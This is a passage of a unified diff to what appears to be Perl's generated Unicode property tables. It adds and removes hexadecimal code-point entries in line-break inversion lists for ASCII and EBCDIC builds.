+	0x207F,
+	0x208E,
+	0x208F,
+	0x2309,
+	0x230A,
+	0x230B,
+	0x230C,
+	0x232A,
+	0x232B,
+	0x2769,
+	0x276A,
+	0x276B,
+	0x276C,
+	0x276D,
+	0x276E,
+	0x276F,
+	0x2770,
+	0x2771,
+	0x2772,
+	0x2773,
+	0x2774,
+	0x2775,
+	0x2776,
+	0x27C6,
+	0x27C7,
+	0x27E7,
+	0x27E8,
+	0x27E9,
+	0x27EA,
+	0x27EB,
+	0x27EC,
+	0x27ED,
+	0x27EE,
+	0x27EF,
+	0x27F0,
+	0x2984,
+	0x2985,
+	0x2986,
+	0x2987,
+	0x2988,
+	0x2989,
+	0x298A,
+	0x298B,
+	0x298C,
+	0x298D,
+	0x298E,
+	0x298F,
+	0x2990,
+	0x2991,
+	0x2992,
+	0x2993,
+	0x2994,
+	0x2995,
+	0x2996,
+	0x2997,
+	0x2998,
+	0x2999,
+	0x29D9,
+	0x29DA,
+	0x29DB,
+	0x29DC,
+	0x29FD,
+	0x29FE,
+	0x2E23,
+	0x2E24,
+	0x2E25,
+	0x2E26,
+	0x2E27,
+	0x2E28,
+	0x2E29,
+	0x2E2A,
+	0x3001,
+	0x3003,
+	0x3009,
+	0x300A,
+	0x300B,
+	0x300C,
+	0x300D,
+	0x300E,
+	0x300F,
+	0x3010,
+	0x3011,
+	0x3012,
+	0x3015,
+	0x3016,
+	0x3017,
+	0x3018,
+	0x3019,
+	0x301A,
+	0x301B,
+	0x301C,
+	0x301E,
+	0x3020,
+	0xFD3E,
+	0xFD3F,
+	0xFE11,
+	0xFE13,
+	0xFE18,
+	0xFE19,
+	0xFE36,
+	0xFE37,
+	0xFE38,
+	0xFE39,
+	0xFE3A,
+	0xFE3B,
+	0xFE3C,
+	0xFE3D,
+	0xFE3E,
+	0xFE3F,
+	0xFE40,
+	0xFE41,
+	0xFE42,
+	0xFE43,
+	0xFE44,
+	0xFE45,
+	0xFE48,
+	0xFE49,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE5A,
+	0xFE5B,
+	0xFE5C,
+	0xFE5D,
+	0xFE5E,
+	0xFE5F,
+	0xFF09,
+	0xFF0A,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF0F,
+	0xFF3D,
+	0xFF3E,
+	0xFF5D,
+	0xFF5E,
+	0xFF60,
+	0xFF62,
+	0xFF63,
+	0xFF65,
+	0x1325B,
+	0x1325E,
+	0x13282,
+	0x13283,
+	0x13287,
+	0x13288,
+	0x13289,
+	0x1328A,
+	0x1337A,
+	0x1337C,
+	0x145CF,
+	0x145D0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_LB__CM_invlist[] = { /* for ASCII/Latin1 */
+	502,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
+	0xE,
+	0x20,
+	0x7F,
+	0x85,
+	0x86,
+	0xA0,
+	0x300,
+	0x34F,
+	0x350,
+	0x35C,
+	0x363,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2066,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
 	0x302A,
 	0x3030,
 	0x3035,
 	0x3036,
-	0x303B,
-	0x303D,
-	0x3040,
-	0x3041,
-	0x3042,
-	0x3043,
-	0x3044,
-	0x3045,
-	0x3046,
-	0x3047,
-	0x3048,
-	0x3049,
-	0x304A,
-	0x3063,
-	0x3064,
-	0x3083,
-	0x3084,
-	0x3085,
-	0x3086,
-	0x3087,
-	0x3088,
-	0x308E,
-	0x308F,
-	0x3095,
-	0x3097,
 	0x3099,
 	0x309B,
-	0x309F,
-	0x30A0,
-	0x30A2,
-	0x30A3,
-	0x30A4,
-	0x30A5,
-	0x30A6,
-	0x30A7,
-	0x30A8,
-	0x30A9,
-	0x30AA,
-	0x30C3,
-	0x30C4,
-	0x30E3,
-	0x30E4,
-	0x30E5,
-	0x30E6,
-	0x30E7,
-	0x30E8,
-	0x30EE,
-	0x30EF,
-	0x30F5,
-	0x30F7,
-	0x30FB,
-	0x30FF,
-	0x3100,
-	0x3105,
-	0x312E,
-	0x3131,
-	0x318F,
-	0x3190,
-	0x31BB,
-	0x31C0,
-	0x31E4,
-	0x31F0,
-	0x3200,
-	0x321F,
-	0x3220,
-	0x3248,
-	0x3250,
-	0x32FF,
-	0x3300,
-	0x4DC0,
-	0x4E00,
-	0xA015,
-	0xA016,
-	0xA48D,
-	0xA490,
-	0xA4C7,
-	0xA4FE,
-	0xA500,
-	0xA60D,
-	0xA60E,
-	0xA60F,
-	0xA610,
-	0xA620,
-	0xA62A,
 	0xA66F,
 	0xA673,
 	0xA674,
@@ -72200,8 +282952,6 @@
 	0xA6A0,
 	0xA6F0,
 	0xA6F2,
-	0xA6F3,
-	0xA6F8,
 	0xA802,
 	0xA803,
 	0xA806,
@@ -72210,43 +282960,20 @@
 	0xA80C,
 	0xA823,
 	0xA828,
-	0xA838,
-	0xA839,
-	0xA874,
-	0xA876,
-	0xA878,
 	0xA880,
 	0xA882,
 	0xA8B4,
 	0xA8C6,
-	0xA8CE,
-	0xA8D0,
-	0xA8DA,
 	0xA8E0,
 	0xA8F2,
-	0xA8FC,
-	0xA8FD,
-	0xA900,
-	0xA90A,
 	0xA926,
 	0xA92E,
-	0xA930,
 	0xA947,
 	0xA954,
-	0xA960,
-	0xA97D,
 	0xA980,
 	0xA984,
 	0xA9B3,
 	0xA9C1,
-	0xA9C7,
-	0xA9CA,
-	0xA9D0,
-	0xA9DA,
-	0xA9E5,
-	0xA9E6,
-	0xA9F0,
-	0xA9FA,
 	0xAA29,
 	0xAA37,
 	0xAA43,
@@ -72253,25 +282980,8 @@
 	0xAA44,
 	0xAA4C,
 	0xAA4E,
-	0xAA50,
-	0xAA5A,
-	0xAA5D,
-	0xAA60,
-	0xAA7B,
-	0xAA7E,
-	0xAAB0,
-	0xAAB1,
-	0xAAB2,
-	0xAAB5,
-	0xAAB7,
-	0xAAB9,
-	0xAABE,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
 	0xAAEB,
 	0xAAF0,
-	0xAAF2,
 	0xAAF5,
 	0xAAF7,
 	0xABE3,
@@ -72278,8 +282988,1702 @@
 	0xABEB,
 	0xABEC,
 	0xABEE,
-	0xABF0,
-	0xABFA,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__CM_invlist[] = { /* for EBCDIC 1047 */
+	506,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0xFF,
+	0x100,
+	0x300,
+	0x34F,
+	0x350,
+	0x35C,
+	0x363,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2066,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3035,
+	0x3036,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11000,
+	0x11003,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11083,
+	0x110B0,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111CA,
+	0x111CD,
+	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112EB,
+	0x11300,
+	0x11304,
+	0x1133C,
+	0x1133D,
+	0x1133E,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11357,
+	0x11358,
+	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11435,
+	0x11447,
+	0x114B0,
+	0x114C4,
+	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11630,
+	0x11641,
+	0x116AB,
+	0x116B8,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A5C,
+	0x11A8A,
+	0x11A9A,
+	0x11C2F,
+	0x11C37,
+	0x11C38,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F51,
+	0x16F7F,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LB__CM_invlist[] = { /* for EBCDIC 037 */
+	506,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0xFF,
+	0x100,
+	0x300,
+	0x34F,
+	0x350,
+	0x35C,
+	0x363,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x984,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA04,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xABC,
+	0xABD,
+	0xABE,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB3C,
+	0xB3D,
+	0xB3E,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC84,
+	0xCBC,
+	0xCBD,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD04,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD62,
+	0xD64,
+	0xD82,
+	0xD84,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
+	0xF40,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1A17,
+	0x1A1C,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BE6,
+	0x1BF4,
+	0x1C24,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200C,
+	0x200D,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2066,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3035,
+	0x3036,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA828,
+	0xA880,
+	0xA882,
+	0xA8B4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA954,
+	0xA980,
+	0xA984,
+	0xA9B3,
+	0xA9C1,
+	0xAA29,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4E,
+	0xAAEB,
+	0xAAF0,
+	0xAAF5,
+	0xAAF7,
+	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
